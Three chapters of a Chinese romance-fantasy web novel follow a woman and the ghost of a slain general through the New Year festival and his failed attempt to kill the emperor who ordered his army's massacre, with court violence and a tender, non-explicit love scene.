当年在蜀州,周寄然日日跟在裴将军身边,尚且还算是沈家军的人。彼时桥沈两家结有姻亲,周季然整日瘫这一张脸,与他这个长辈都未曾说过几句话,更何况如今。 他今日前来拜访,是谁也不曾预料到的。 家丁上前将已经凉了的茶重新换成热的,周寄然依旧没有去碰,而是看向桌案上的梅花,突然道:“相国大人可知,陛下昨日做了一个梦。” “陛下梦到了太子殿下,梦中太子殿下还穿着蜀州时的粗布衣,与一群儒生聚在一起,对着陛下嚎啕痛哭。” 桥大人动作一顿,神色未变,“太子殿下贤良,只可惜天妒英才,可惜可惜……” 真要论起来,当初的太子确实称得上一个合格的储君,被刺身亡后陛下哀恸不已,身子一下便垮了。 周季然微微眯眼,继续道:“今日一早,陛下命钦天监解梦,钦天监的大人说,是太子殿下于九泉之下还在忧国忧民,担心陛下的身体,陛下闻言又是恸哭许久,险些起不来身子。” 他抬眼,“钦天监那些人三言两语离不开鬼神,相国大人也觉得这世间当真有鬼神之说吗?” 桥玹冷笑:“你是陛下近臣,鬼神之说何故问本官?” 周季然却笑了笑,道:“曾几何时,下官也曾对鬼神之说嗤之以鼻。只觉得若是世间真有鬼神,为何不自己报仇?那些做了恶事之人,又为什么没有报应。” “你今日前来,就是要与本官讨论鬼神之说?” 桥玹失了耐心,正要起身送客,却听周季然道:“不是与相国大人谈论鬼神,是与女郎。” 他说着,抬眼看向正堂门前。 桥妧枝抱着汤婆子立在那里,身上因为埋酒而沾惹的泥土味还没有散尽,鬓边发丝被寒风吹得有些乱。 她看向周季然,神色冷漠,抿唇道:“正巧,我也有些事想要询问周大人。” 四目相对,周季然起身,扯了扯唇角,“既如此,还请女郎借一步说话。” — 桥妧枝的喜欢与厌恶很简单,这可能是固执之人的通病。 正如现在,她立在假山上的凉亭内,放目远望,能越过高墙,甚至能看到长巷内悬的一排红灯笼,却始终没有转身去看近在咫尺的周季然。 周季然也不在意,开门见山,“周某想问女郎,沈寄时如今在何处?” 桥妧枝没有回头,声音很冷:“周大人若是寻沈寄时,应该去沈府,现如今,他的牌位还在祠堂里供着,与那些战死沙场的沈家人在一处。” “女郎知道我要寻的并非牌位。” 他道:“我要寻的是沈寄时,而非不会动的牌位。” 他死死握着腰间长刀,仿佛在压抑着什么,“鬼怪之说,我原本以为是空穴来风,以讹传讹。直到一连两次梦中梦,我才意识到,这世间竟真有鬼神。他既频频入梦,想来也没有准备瞒我。” “沈萤如今在边关,沈家早已无人。若是沈寄时在长安,也只会在女郎这里。” 桥妧枝心头一跳,回头看他,嘲讽道:“且不说这世间没有鬼神,就算是有,你与他素来不和,寻他做什么?” 周季然脸色坦荡,指尖摸到怀中玉佩,轻轻摩挲,“浮屠峪一战所发生的一切他都已在梦中知晓,我无话可说,苟且偷生之人是我,助纣为虐之人也是我,辨无可辨。周季然只想问问他,九泉之下可曾见到阿雲。” 他顿了顿,垂眸看向手中玉佩,“我想知道,她这些年不曾给我托梦,可是在怪我?” 他本以为人死如灯灭,万般皆成灰,却不想,因缘际会,还有来生。既如此,他想知道,该去哪里找她。 桥妧枝有些生气,苟且偷生,助纣为虐,他说得轻描淡写。是人都求生,这本是无可厚非之事,可助纣为虐之人,有什么资格去问裴将军。 她压着将人赶走的冲动,深吸一口气,看向立在一旁的沈寄时。 只要他不愿,除了她,没有人能看到他,她会将周季然打发走。 察觉到她的目光,沈寄时给了她一个安抚的眼神,将视线落在周季然身上。 “我未曾见到阿娘。” 周季然浑身一震,寻声转身,在看到沈寄时的瞬间,突然有些恍惚,分不清自己到底在梦中还是现实。 眼前人的模样与当初桀骜不驯的长宁侯别无二致,可终究还是不同了。 “我死后许久才下黄泉,去寻时,阿娘已经入了轮回。” 沈寄时神色很冷,嘲讽道:“阿娘一直视你为亲子,若是知道你对她有这般心思,一定万分难过。” 周季然猛地攥紧玉佩,怔然问:“已经轮回了?去了何处?” “蜀州。” 沈寄时没有隐瞒,“黄泉鬼差告诉我,阿娘下辈子会在蜀州,至于投生到什么样的人家,我也不知。” 前世之事已如云烟,即便是知道又如何。 “蜀州……”周季然重复一遍,点了点头缓缓转身。 一把长枪突然拦住他去路,沈寄时冷声道:“为友多年,我再问你一遍,玉佩为何会出现在浮屠峪?” 离去的脚步停下,周季然喉咙滚动,“你当真想知道?” 沈寄时不语,始终没有收回长枪。 周季然抬手将止危枪挥开,自嘲道:“承平二十八年七月十五,你身死的第二日,中元节,曾有一人一骑于尸横遍野的战场上,为曾一同出生入死的八万将士,烧去香火。” 他是第一个知道他们战死的人,亦是第一个为他们烧去香火,送他们上路的人。 沈寄时扯了扯唇角,却没有笑。 掌心突然传来一阵温热,他偏头,是桥妧枝不知何时握上了他的手。 周季然走了。 走时桥大人没去送客,而是留在正堂皱眉问:“脉脉与他说了什么?要知道,周季然此人阴险,早就已经不是蜀州那个小乞丐了。” 汤婆子早就已经凉了,桥妧枝缩在斗篷里,轻轻嗯了一声,半遮半掩道:“女儿问了一些与沈寄时有关的事。” 确实与他有关,也不算撒谎。 一提到沈寄时,桥大人便不再多言了。 怕说多了惹她伤心,只好讪讪道:“如此……” 桥妧枝眨了眨眼,“后日就是除夕了,爹爹将对联写好了吗?” 府中对联每年都是桥大人亲手写,闻言他一拍额头,抖着袖子道:“险些将这事给忘了,爹爹这就去。” 说完,便急匆匆进了书房。 桥妧枝看着桥大人的背影,哈出一口白雾,对沈寄时道:“马上就要除夕了。” 沈寄时低笑,只是笑意却不达眼底。 腊月二十九,长安家家户户都贴上了钟馗像。 桥妧枝没有出门,立感受着外面喜气洋洋的气氛,莫名有些紧张。 “钟馗是捉鬼的。” 她立在窗前,忧心忡忡,“你这几日还是不要踏出暖阁了,阿娘应当已经贴好了门神,若是冲撞了怎么办!” 沈寄时削竹的手一顿,轻笑道:“卿卿,我不惧这些的。” 他说着,三两下削好竹杆,又拿起一根新的继续削。 他说不惧,桥妧枝却还是坐立难安,抿唇道:“你所谓的不惧,是不会受伤的意思,还是即便受伤,也不会再死一次的意思?” “沈寄时,你到底懂不懂,你或许不会死,但是会受伤,会疼的。” 她语气有些急,甚至夹杂着一丝怨怼,却听得沈寄时眸光一软。 他知晓她的怨恨,也知道自己活该,于是道:“我知晓的卿卿,那些门神并不会让我受伤,那些桃木也不会。” “当真?”兴许是被骗多了,她不大相信。 “自然是真。” 沈寄时看向她,清俊的脸上神色无比认真,“这世间只有道士法器能够伤我。” 桥妧枝与他对视许久,神色一松。 她看向桌案上已经垒成小山的竹竿,低声问:“除夕花灯只做一只就好了,为何要削那么多?” 沈寄时垂眸看向手中竹竿,道:“多做一些,明年便不用做了。” 桥妧枝心下一跳,语气惊慌,“为什么明年不用做了,你要走吗?” “卿卿。”沈寄时未抬头,眸中带笑,“听闻江南那里冬日河水不会结冰,若是明年此时一切安好,我们去江南吧。” 江南? 她还从未去过江南,若是能游历一番也是极好。 可不知为何,她想着这句话,总觉得有些难过。 他在用一种不那么令人难过的方式,告诉她,他在为她做往后许多年的花灯。 她敛眸,还是忍不住问:“你要去哪里?” 沈寄时没有抬头,过了许久,才道:“皇宫。 早有预料,她并未露出太多惊讶,道:“那你何时去?” “过了除夕。” 帝王是天子,是承天命之人,他此番一去,必遭天谴。 那些人已经在枉死城等了太久,可他还是很自私,至少,他要陪她走完这一年。 桥妧枝鼻尖一酸,看向窗外,轻声道:“沈寄时,去年除夕我没有花灯,你今年为我做两个吧。” “好。” 她又道:“一盏做狸奴戏蝶图,另一盏就做美人图好了。” “好。” 49 第49章 ◎情爱一事,她从不扭捏【主感情,微剧情】◎ 沈寄时赶在除夕那日的傍晚做好了两盏花灯,只是那两盏灯并没有被桥妧枝带去街上闲逛,而是小心翼翼挂在了屋檐下。 他手艺好,花灯做得精妙,内里烛光一亮,灯上的影子便映照在地上。寒风一吹,漂亮的狸奴剪影在地上晃动,引得小花追来追去。 桥妧枝将祈愿的红绸挂在光秃秃的合欢树上,仰头望了一会儿,直到红绸随风飘起,方才转身望向屋檐下的鬼魅。 除夕佳节,爆竹声四起,天边霞光落在她脸上,将她神色映照的格外柔和。 沈寄时靠在檐下柱旁,眉梢微扬,“许了什么愿望?” “什么都没许。” 她扯着他袖子将他拉进屋内,语气稀松平常,目光却落在他脸上,道:“除夕的红绸是说给天上神仙听的,我所求之事,唯有鬼魅可帮我。” 沈寄时心尖一颤,反手握住她手腕,牢牢攥在手心。 他太用力,险些将她手腕勒出一道红痕,桥妧枝没有躲,任由他攥着。 他没有问她所求什么,因为他一直都知道。 房门被合上,桥妧枝倒了一杯屠苏酒,举杯凑到他跟前,眸光微闪,轻声道:“沈小将军,长安的习俗,除夕要喝屠苏酒。” 沈寄时没动,垂眸看了她许久,微微勾唇:“卿卿,我非普通鬼魅,喝不到。” 桥妧枝微微歪头,敛眸看了一会儿,低头小口抿了一口,没有咽下,而是仰头去亲他。 于情爱一事上,她从不扭捏,正如在蜀州时,她明白自己喜欢沈寄时之后,便很大方的接受少年示好。她从不去考虑后果,收到一颗心,便毫不犹豫,也要将自己的一颗心捧给他看。 沈寄时心尖狠狠一颤,眸色微暗,俯身含住红唇。 唇瓣相贴,一凉一热,之后轻轻擦过唇角,向放肆地向更深处探寻。 按在少女后腰的手掌缓缓向上,最终落在她纤细的脖颈处,轻轻按压,指腹顺着上面的脉络轻轻摩挲。 温酒入喉,辛辣中带着浓郁的花椒味,有些麻,桥妧枝蹙眉,有些难受,于是偏头去够桌案上的茶水。 庭院墙外便是兴宁坊长巷,噼里啪啦的爆竹声从外面传来,将屋内窸窣声响悉数掩盖下去。 沈寄时指腹擦去她唇边水渍,透过敞开的窗子看向屋外,“城内热闹,卿卿今年为何没有去游灯?” 以前在蜀州时,青城县虽小,可除夕却热闹,一到傍晚,她总要提着花灯去看舞狮,一看就是半宿,有几年军务繁忙,他赶在除夕将过前下山,总能在街上寻到她的身影。 “我已经几年没有去游灯了。”她看到外面爆竹带起的细碎火光,“刚回长安前两年,百废待兴,除夕过得很是无趣。东胡人被赶去北边后,去年除夕终于有了起色,可是城内有傩戏,我怕万一你回来找我,被吓跑了怎么办?” 沈寄时心一软,道:“我不惧这些的,今年可以陪你一同去。” “可是今年我想留在这里,就在这个屋子里,哪里都不去。” 她声音很轻,烛光下,神色有些看不清。 沈寄时垂眸,扣住少女细腰,将冰凉的吻落在她眼角。 气息交缠间,怀中人长睫飞快抖动,蹭在他脸上,有些痒,于是湿吻又缓缓下移,擦过她脸庞,最终停在她已经有些红肿的朱唇上,缓缓厮磨。 牙齿轻碰,桥妧枝控制不住地睁开眼,下一秒,却被盖住了眸子。 失去视线的瞬间,剩余的感官就此放大,她下意识与他贴地更近。 他活着时身上很热,每每与她亲近总是灼得她难受,死后又变得这样冷,靠上去时仿佛拥住了冬日里的一捧雪。 人生总是难圆满,可她却觉得自己已经习惯了夹杂在其中的各种残缺。 手臂圈上身前人后颈,急促呼吸间,她仿佛闻到了一股浓郁的香火味。 本以为是错觉,可那股香火气却越来越浓郁,随着时间的推移几乎侵满了整个屋子。 沈寄时意识到什么,按在她腰间的手下意识收紧,强迫自己抬眸看向窗外。 强行从情爱中抽离的滋味不好受,他眸子有些红,眼底的侵占欲还没消退,一抬头,却看到庭院中厚厚一个包裹,里面塞满了冥钱衣物。 有人在除夕夜给他烧来了香火。 桥妧枝推开他匆匆跑出屋子,看清里面的东西,眉眼微弯,转头对他道:“是沈萤,里面有一件冬衣。” 沈寄时跟出来,低头拾起那件冬衣,看着上面歪歪扭扭的丑陋针脚,闷笑出声。 “这是阿萤为你缝制的冬衣。”桥妧枝指尖在衣袖上蹭了蹭,嗔怪道:“你不要笑,这应当是她第一次制衣。” 沈寄时缓缓蹲下,看着满包裹的冥钱,神色怅然。 今夜无月,纸灰四起,远在边疆的少女还不知晓,她所祭奠之人,尚在故乡。 承平三十年,正月初一,天愈寒。 桥妧枝是被爆竹声震醒的,身侧没有无人,她猛地惊醒,忘记加衣便匆匆跑出了暖阁。 彼时天刚亮,已经熄灭了的花灯挂在屋檐上轻轻摇晃,灯壁偶尔碰到柱子上,发出咚咚轻响。 桥妧枝心跳加速,慌张向外看去,却见空旷的庭院内,不知何时竖起一只长长的竹竿。 沈寄时只穿了一件单衣,衣袖在寒风吹拂下翩飞,正背对着她在竹竿下埋土。 她一怔,紧绷的情绪瞬间松懈,没有出声,就那么立在原地看他。 察觉到她的视线,沈寄时转身,见她衣衫单薄赤脚踩在地上,面色一寒,冷声问:“为何不穿鞋?” 寒风一吹,冻得她瑟瑟发抖,桥妧枝这才意识到自己忘了穿鞋,于是抿唇道:“出来的太急,忘记了。” 沈寄时走上前将她抱起,语气说不上好,“桥脉脉,这么冷的天都能忘,你整日在想什么?” “我一睁眼没有看到你,还以为你已经离开了,一着急就忘了。” 她说着,双腿攀上他两侧腰间,整个身体缩进他怀里。 只是她忘了,他怀中并不暖,好在衣衫摩擦间浮起短暂的暖意,足够让她支撑回到屋里。 沈寄时横在她腰间的手臂微微收紧,垂眸看她,“我说过,我不会不告而别,卿卿。” 他说得认真,桥妧枝沉默一瞬,点了点头,后又意识到他应当看不到,又轻轻嗯了一声。 屋门缓缓合上,她目光越过他肩膀,透过即将关上的门缝,看到庭院中的竹竿,忍不住问:“为什么大清早要在那里立一个竹竿?” 白皙的下颌抵在他肩膀,说话时温热的吐息喷洒在耳边,他们之间,是真正意义上的窃窃私语。 “承平二十七年除夕夜,我在冀州,听那里的人说,正月初一立一根竹竿可以保佑家中人长命百岁,我便立了。” 桥妧枝在他怀中闷笑出声,“那是冀州的习俗,我们在长安。” “无论哪里的习俗,都是人们美好的祈愿。”他将人裹进被中,“黄泉孤寂,我盼卿卿长命百岁。” 桥妧枝恍惚想到,有一次梦中,他掌心贴着她侧脸,也是这样说的。 棉被将周身寒意驱散,她抓住他衣袖,问:“你穿得这样单薄,不冷吗?” 她偏头,轻声道:“这里很暖和,昨晚爆竹声响了很久,沈寄时,你能陪我睡一会儿吗?” 这个时辰,长安城内的爆竹声已经停了,她可以在白日睡个好觉。 棉被被掀开,冰凉的身躯贴上来,厚厚的被子他们笼罩,不一会儿被褥间便只留有温热。 桥妧枝心微静,墨发散下,整张脸扎进他胸膛,轻浅呼吸着。 大掌扣住她墨发,身侧人等她睡着,方才缓缓闭上眸子。 庭院外,桥夫人立在凉亭里,望着小院中立起的竹竿,久久没有出声。 荣妪将石凳上的灰尘扫下,说道:“今年除夕女郎一直窝在院里,都没有去游灯。” 桥夫人回神,没有承她的话,而是有些疑惑地问:“荣妪你可知,院中为何要插个竹竿?” 荣妪这才看清院中情景,思索片刻,恍然大悟道:“曾听旁人说起过,初一立一根竹棍应当是祈求家中人长命百岁,女郎有心了。” “长命百岁……” 桥夫人念叨了一遍,轻笑道:“她自小不是在长安就是在蜀州,哪里会知道这个。” 她转身,对荣妪道:“今日初一,来府中拜访的人不少,若是没有要紧事,就不要去打扰脉脉休息了。” 荣妪点头,又向下看了一眼,这才跟在桥夫人身后走下凉亭。 庭院中,竹竿映在地上的影子由长到短又由短渐长,一日匆匆而过,转眼便是日薄西山时。 桥妧枝昏昏沉沉睡了一整日,一直到夕阳透过窗户照进屋内,她才缓缓睁眼,看着空旷的床榻,莫名有些心慌。 薄纱后隐有烛光亮起,原是屋檐下的花灯换了烛芯。 沈寄时手腕一挑,吹灭剑尖剩余的烛芯,反手间,长剑便入了剑鞘。 挑剑燃灯,确实是沈寄时会做出的事情, 桥妧枝目光从长剑转向他轮廓分明的侧脸,看了好一会儿,主动开口:“太阳马上就要落山了,你要去做你的事情了吗?” 沈寄时将剑送到她怀中,眉眼微低,没有出声,却已经是无声的默认。 玄铁打造的剑很重,桥妧枝转身将那柄削铁如泥的宝剑重新悬挂在墙上,背对着他,语气轻快:“那你快去快回,明日一早,我去巷口接你。” 话音落下,便有冰凉的吻落在她后颈,带起一阵战栗。 她一直没有回头,直到屋内那股若有似无的香火气彻底消失不见。 【作者有话说】 习俗我查了很多,但是最终决定瞎编一个!!! 50 第50章 ◎下辈子,我们换一换吧◎ 宣政殿内,龙涎香燃起,烟雾透过香炉向四面八方散去。 年迈的帝王抄起滚烫的茶水狠狠砸向跪在地上的人,茶杯应声而落,茶水正正好泼在一人手掌上 被砸之人闷哼一声,手上顿时起了密密麻麻的水泡,可他却不敢抬头,疯了一般以头抢地,颤声道:“陛下饶命!陛下饶命!” “饶命?” 圣文帝冷笑,他声音浑浊,说话时带着浓浓的腐朽之气,如同吐信的毒舌,一把缠住猎物的脖颈。 “朕若是今日饶了你,那谁饶过我大梁百姓!” 他说的激动,话音落下,便是一阵剧烈的咳嗽。守在一旁的太医一惊,连忙上前施针,直到圣文帝止住咳嗽,方才松了口气。 帝王挥了挥手,示意太医退下,暴戾的目光看向那人,问:“江邈仪,你不是说正月初一必下雪吗?如今初一马上就要过去,这就是你说的雪?朕问你!雪在何处!?” 冷汗不停滴下,江邈仪连忙道:“陛下饶命,臣夜观天象,算出今日确实有雪,可不知为何,竟没有下。” 话音落下,上好的黄玉镇纸猛地砸在他脑袋上,额角顿时裂开一个大口子,源源不断流出猩红鲜血。 “你这是欺君!”圣文帝撑在桌案上的手臂微微发抖,怒目圆睁,指着他道:“朕且问你,今年为何没有雨雪?” 这一年大旱,百姓收成锐减,若是再这样下去,江山必乱。 而原因…… 所有人都不约而同想到了周云青,那个因为祈雨失败,上殿劝谏却被杖责而死的周大人。 江邈仪抖如糠筛,张了张嘴,可一直到鲜血模糊了双眼,始终没有说出半句话。 盛怒的帝王冷笑出声,“你是不是想学周云青,说是朕犯了天怒人怨的罪责,上天降下惩罚,这才不降下雨雪?” “微臣绝无此意!绝无此意啊陛下!” 帝王没有出声,龙目微眯,显然已经动了杀意。 他冷笑了两声,挥了挥手,不一会儿,便有禁军上前将这位江大人拖走。 兴许是知道自己必死无疑,江邈仪双目紧闭,一声未吭,瘫软着被人拖走。 这一幕于众人而言,早就已经见怪不怪。 这一年,单因为天不降雨之事,钦天监就已经折了不少人,这位江大人不是第一个,也不是最后一个。 正所谓帝王一怒,伏尸百万,流血漂橹,钦天监人人自危,毕竟谁也不知道,下一个会不会是自己。 殿内寂静,圣文帝不发话,殿内众人谁也不敢出声。 不知过了多久,龙椅上年迈的帝王终于闭幕目,沉声道:“让钦天监的人继续算,算不出就去祈求上苍降雪,朕要正月十五之前必落雪!在此之前,若是长安城内再有人胡言乱语,就地斩杀!” 下雪与否全看天意,岂是常人所能控制的。 众人一凛,深觉此事荒谬,却依旧不敢多言。 宣政殿大门缓缓合上,众位大臣鱼贯而出,纷纷唉声叹气。 李御刚刚解了禁足,今日只穿了一件单衣,立在殿前石阶上,看着众位大人离去,久久没有动作。 手持宫灯的宫女在他身前走过,宫灯映衬下,他的脸色忽明忽暗,看不清晰。 周季然持刀越过他身旁,却听他开口:“周季然。” 脚步一顿,周季然转身行礼,“天色已晚,竟不曾看到殿下在此。” 李御冷冷看着他,也不戳破,只问:“昨日抓得那几名读书人流放到了何处?” “陛下有令,已悉数斩杀。” 李御神色一凛,猛地看向宣政殿紧闭的大门,冷冷道:“按照大梁律法,这些人最严重也不过是被流放,为何会被斩杀!” 周季然面不改色,“圣上便是律法,微臣不过是听命行事。” 好一句圣上便是律法,李御看了他好一会儿,突然笑了。 他一直知晓,自从太子被刺身亡后,陛下便性情大变,可即便如此,他也从未想过他行事竟能荒唐到这般地步。 “民为贵,社稷次之,君为轻。” 他还记得自己第一次看到这句话,是在青城山上。只是如今他记得,父君却早就已经忘了。 李御负手而立,看着眼前偌大的宣政殿,久久没有说话。 宣政殿内,桌案之上烛火晃动,阵阵咳嗽声响彻空旷的大殿。 守在一旁的大太监将炖好的梨羹送上,低声道:“陛下,吃一些吧。” 帝王睁眼,双目充血,问道:“你是不是也觉得,今年没有雨雪是因为朕做了天怒人怨之事?” 太监一抖,连忙跪下,匍匐在地,“普天之下莫非王土,陛下是天子,无论做什么都是对的。” 闻言,大殿之内响起断断续续的笑声。 “你说的对,可是朕这几日,时常梦到沈寄时,还有那八万将士。” 他浑浊的目光落在玉玺上,“还记得沈寄时身死的第二日,朕就曾梦见他要来寻仇,如今这么久了,朕还会时常梦到他,只梦到他。不,不对,朕前不久还梦到了太子,太子在对朕哭。” 他说着,佝偻着走向龙床,发出的声音格外喑哑,仿佛用古老的树皮在地上摩擦,“太子小时候就不爱哭,朕印象中,他几乎都没有哭过。但是他现在死了,竟会对朕哭。” “十二是朕的亲子,也确实适合做储君,因此朕不能杀他,那就只能杀沈寄时。” 他为自己寻了一个好理由,对身侧太监道:“你说的对,朕是君,他是臣。君要臣死,臣不得不死。朕还给了他一个忠烈的谥号,也算是成全了他沈家世代忠烈。朕,没有做错什么。八万将士也是朕的子民,朕想要让他们死,他们就应该死。” “这就是陛下杀我沈家军八万将士的理由吗?” 熟悉的声音自身后传来,帝王脚步一顿,对身边大太监道:“你有没有听到有人在说话,那声音,当真像极了长宁侯。” 就连圣文帝自己都不清楚,为什么会对沈寄时的声音记得这样清楚。 许久没有人回答,圣文帝意识到什么,缓缓转身,却见灯下不知何时立着一人。 年纪已大,他双目模糊,隔着不长的距离,竟有些看不清那人的面容。只依稀能看到,来人身姿挺拔,身着一件玄色大氅,满身杀气,好似一只随时都会扑过来撕咬他的野狼。 狼? 帝王脑中有些混沌,他想了很久,才记起,他上次觉得像狼之人,是沈寄时,那个桀骜不驯的长宁侯。 寒风四起,吹动龙床前悬挂的帷幔,圣文帝缓缓直起身子,声音浑浊:“你是谁?” 那人发出一声轻笑,满身肃杀,一步一步走向年迈的帝王。 “李桓,我今日前来取你头颅,以祭我沈家军八万将士的性命。” 圣文帝看到那张熟悉的脸,瞳孔放大,“沈危止,果真是你!果真是你啊!” 沈寄时居高临下看他,只觉这世间事当真可笑,他从未想过,自己有朝一日竟会弑君。 他没有用自己的枪,而是手腕一转,幻化出一柄长剑,声音仿佛淬了冰,“沈家世代皆为大梁而死,李桓,你杀我并非为了太子,你只是忌惮沈家军,又不肯承认自己是残害忠良的昏君,于是用太子之死给自己寻了个理由,因为你一直都知晓,太子是被东湖人所杀,与我和李御都无关。” 圣文帝浑身一震,指着他发抖道:“我杀你沈家军又如何!朕是天子,朕有什么错,沈危止,如今尔敢弑君,就证明朕当初没有杀错你!” “即便是沈寄时弑君,那八万将士何辜?他们一心盼望将东胡人赶出大梁,回长安与家人团聚,如今却被困在枉死城,不得往生!” 沈寄时声音愈寒,“既如此,万般因果,皆由沈寄时一人承担。” 话音落下,长剑出鞘,寒光闪过,将圣文帝苍老颓然的面容映照在剑身之上。 他竟已经这么老了…… 圣文帝看着那柄剑,突然剧烈地咳嗽起来,他双颊涨成了猪肝色,指着眼前人,久久说不出话。 长剑落下瞬间,紫光乍现。 — 庭院中的秋千突然断了,桥妧枝心一沉,弯腰去拾落在地上的藤蔓。 藤蔓粗糙,她用尽全力拧成一股,试图将那些藤蔓重新接上,可仔细一看才发现,藤蔓断了不止一处,无论再怎么费力气,也不可能再重新接上。 她立在树下,静静看着藤蔓断口,直到寒风将她衣衫吹透,方才回过神来。 心愈发沉,她转身披上斗篷,趁夜出了兴宁坊。 恰逢子时更声敲响,长安城内不见行人,孤魂野鬼也全都藏在暗处,她一人提灯行在长街,举目四望,一片寂静,无人亦无鬼。 正月初二,长安夜间极冷,即便是披着厚厚的斗篷,寒风依旧不停往身上钻。 桥妧枝不知该去何处,只下意识往皇城方向去,她想,若是一切顺利,说不定路上便能碰到沈寄时,到时候一切尘埃落定,她就带他回家。 提灯的手已经冻得失去知觉,她心中安,就这样麻木地往前走,不知走了多久,身后突然传来一阵急促的马蹄声。 “桥姑娘!” 她听到身后有人在唤她,下意识脚步一顿,转而又觉得应当是错觉。毕竟这个时辰,也只有她会游荡在长安街头。 可身后的马蹄声越来越近,她停下脚步,恍然发现周围很亮,火把的影子投射在街边商铺前,驱散几分夜间寒意。 “桥姑娘!” 李御勒紧缰绳,行至她身边,眉头狠狠一皱。 他当即翻身下马,压低声音道:“桥姑娘,深更半夜,你怎么会出现在这里?” “十二殿下?” 桥妧枝看清来人,这才惊觉,自己竟已经走到宫门外。 她悄无声息抓紧自己的衣袖,缓声解释,“刚刚做了噩梦,有些睡不着,便想出来转转。” 这理由寻得有些可笑,哪家女郎会因为做噩梦半夜三更出来,还来到宫门外转悠。 李御微微眯眼,探究的目光落在她身上,久久没有言语。 桥妧枝深吸一口气,坦荡对上他的视线,主动询问:“殿下,长安城内可是出了什么事,为何会动用这么多人马?” 闻言李御神色微敛,直觉自己应当是想多了,桥姑娘一个不会武功的弱女子,兴许真的只是凑巧走到这里。 他看了看四周,眸光微闪,低声道:“皇宫中进了刺客,父君受了伤,我正带人满城搜查。如今城内危险,此地不宜久留,我派人送女郎回去。” 桥妧枝心下重重一跳,下意识问:“什么刺客?那陛下如今怎么样了?” 李御觉得她今日有些奇怪,却没多想,只道:“父君并无大碍,只是受了惊吓,如今还在昏迷中。” 听到他说圣文帝无事,桥妧枝只觉心头一滞,脑中一片空白。 她不敢多想,扯了扯唇角,语气涩然:“陛下无事便好,回兴宁坊的路我很熟悉,殿下不必派人送我。” 少女半张脸隐藏在斗篷内,神色有些看不清晰。 李御皱眉,“可是长安城今夜不太平。” 桥妧枝摇了摇头,“我身上带着匕首,不会有事。” 她执意,李御便没有强求。 夜色暗沉,看她身影越走越远,李御翻身上马,正要带人离开,可刚刚挥起马鞭,却又有些犹豫。 无论如何桥姑娘也是一个弱女子,沈寄时不在,他要替他将人照看好。 收回马鞭,李御抬手,对身侧人道:“你先带人去搜查,我去去就回。” 说着,他飞身下马,将缰绳交给身侧之人,悄无声息跟了上去。 桥妧枝对身后毫无察觉,只顾抓着提灯向前跑。 她跑得太快,斗篷上的系带微微散开,她却无暇顾及,任凭冷风呼呼往自己身上灌。 长街一片漆黑,唯有手中摇晃的一点光亮为她照亮前路。 今日不应当走这么远,她有些后悔。 不知跑了多久,直到累得气喘吁吁,桥妧枝终于看到拓着兴宁坊三个字的石匾。 缓缓停下脚步,她呼吸急促,迈步走进巷口,却在转弯瞬间脚步一顿,当即红了眼眶。 沈寄时手执长剑立在不远处,脸色苍白,衣袂翻飞。他唇角还带着尚未干涸的血迹,正一脸无奈地看她。 “桥脉脉。” 他看着她,嗓音沙哑,“这个时候跑出来,你不知惜命的吗?” 这句话太耳熟了,耳熟到桥妧枝能瞬间回忆起自己上次说时的场景。 她吸了吸鼻子,毫不犹豫扑进他怀中,久久说不出话来。 她跑得太急,额前发丝悉数被汗湿。 沈寄时抿唇,将她发丝别在耳后,将她按进怀中,目光却看向跟在她身后的尾巴。 不远处,李御藏在夜色下,震惊地看着眼前这一幕。 他看不到沈寄时,却能清晰看到桥妧枝在与一人说话,屋檐上悬挂着数只灯笼,李御向下看去,那里只有少女一人的影子。 他脸色难看,这世间只有鬼魅才没有影子。 桥妧枝一心放在沈寄时身上,没有察觉到不对劲,她从他怀里出来,“沈寄时,我们先回家。” 她刚刚闻到了鲜血的味道,知晓他应该是受了伤,便想要将他手臂搭在自己肩上,却不想刚碰到他手掌,就被他反手攥住手腕。 “我没事。” 他拉着她往巷子深处走,低声道:“卿卿你在前面走,我跟在你身后。” 桥妧枝长睫一颤,意识到什么,没有再去碰他。 她握着提灯向前走,沈寄时便亦步亦趋跟在她身后。 长巷寂静,只有桥妧枝清浅的脚步声响在夜色里,沈寄时静静跟在她身后,默不作声。 桥妧枝怕他跟不上自己,于是每向前走一段距离,就会转身去看他,确定他还跟在身后,才会继续向前走。 沈寄时看着她墨发上微微晃动的步摇,突然道:“卿卿,我今日没有杀掉李桓。” 桥妧枝轻轻嗯了一声,道:“我知道。” “我如今是鬼魅,李桓身负帝王气运,我杀不了他。” 脚步一顿,桥妧枝没有回头,哑声道:“难道就因为他是帝王,便能为所欲为吗?” 帝王是承天命者,那昏庸的君王呢,难道一定要让那些可怜的将士在黄泉等千百年,等到李桓寿终正寝吗? 许久没人出声,不知不觉间,他们已经回到了桥府。 踏进小院时,沈寄时还是忍不住开口:“卿卿,无论如何,我不能任由他们消磨在枉死城。” 人间一日,黄泉一年,他们已经在那里呆了太久,久到经不起下一个五百年。 “我知晓的。” 她推开房门,红着眼眶对他道:“但在此之前,你能让我看看你伤在何处吗?” 沈寄时一怔,偏头道:“伤口恐怖,会吓到卿卿。” “沈寄时,你还记得我们逃难时的事情吗?” 她将油灯点亮,看着他,道:“刚出长安时,我曾亲眼看到胡人将一个孩童砍头,一路上,我遇见的鲜血淋漓之人不下百个,后来快要走到蜀州时,我们遇上了一个浑身皮肤溃烂的乞丐。” “那时候我都没有害怕,你为什么会觉得,我会害怕你身上的伤口?” 沈寄时敛眸,轻轻叹了口气,低笑出声。 是的,他怎么忘了,桥脉脉从来不是胆小之人,所以她从不惧鬼神。 正是深夜,暖阁内烛光昏暗,桥妧枝指尖颤抖,摸到他腰间玉带,久久没有动作。 她在紧张,掌心莫名出了一层汗。 沈寄时手掌覆上她手背,带着她轻轻扯下自己腰间玉带。 衣衫剥下,露出他精壮的胸膛。 桥妧枝看着他胸前不断流血的伤口,顿觉呼吸一窒,险些晕死过去。 浮屠峪一战,沈寄时是被万箭穿心而死,变成鬼后,胸膛前的伤疤无法愈合,整日往外流血。后来做鬼做的久了,他学会用术法掩盖住身上的伤,今日被帝王之气冲撞,他的术法便维持不住了。 “这就是你一直用术法维持,不愿让我看到的箭伤?” 桥妧枝目光死死盯着那处,指尖颤抖着碰到上面的窟窿,仰头问他,“是不是很疼?” “一开始是有些疼。” 他握住她指尖,眉宇之间满是笑意,“后来便不疼了,卿卿,你知道,我向来不怕这些。” 从小到大,沈小将军就没有一日不受伤的,有时候上一个伤口还没好,后面的伤口就接踵而至地出现在他身上。 桥妧枝当然知道,正是因为知道,她才会更加难过。 万箭穿心有多痛,她光是想想,就已经控制不住地发抖。 